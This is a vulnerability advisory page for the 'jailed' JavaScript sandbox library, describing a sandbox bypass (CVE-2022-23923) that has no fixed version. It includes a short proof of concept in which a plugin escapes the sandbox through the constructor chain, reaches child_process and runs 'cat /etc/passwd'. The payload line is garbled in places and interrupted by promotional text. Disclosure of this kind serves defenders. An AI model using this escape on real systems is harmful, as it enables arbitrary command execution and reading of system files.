

Sandbox Bypass

Affecting [org.webjars.bower:jailed](#) package,
versions [0,]

INTRODUCED: 2 FEB 2022 [CVE-2022-23923](#) ?
[CWE-265](#) ?

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How to fix?

There is no fixed version for `org.webjars.bower:jailed`.

Overview

[org.webjars.bower:jailed](#) is an a small JavaScript library for running untrusted code in a sandbox.

Affected versions of this package are vulnerable to Sandbox Bypass via an exported `alert()` method which can access the main application. Exported methods are stored in the `application.remote` object.

PoC

```
//poc.js var jailed = require('jailed'); var path
= './jailed-plugin.js'; var api = { alert:
console.log }; var plugin = new
jailed.Plugin(path, api);
```



Snyk CVSS

Exploit Maturity Proof of concept ?

Attack Complexity Low ?

Confidentiality HIGH ?

[See more](#)

> NVD

9.8 CRITICAL

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what

components are vulnerable in your application, and suggest you quick fixes

```
//jailed-plugin.js
application.remote.alert(this.constructor.constructor
process")
().mainModule.require("child_process").execSync("cat
/etc/passwd").toString());
```

Suggest your quick fixes.

Test your applications

SnykSNYK-JAVA-
ID ORGWEBJARSBOWER-
2441254

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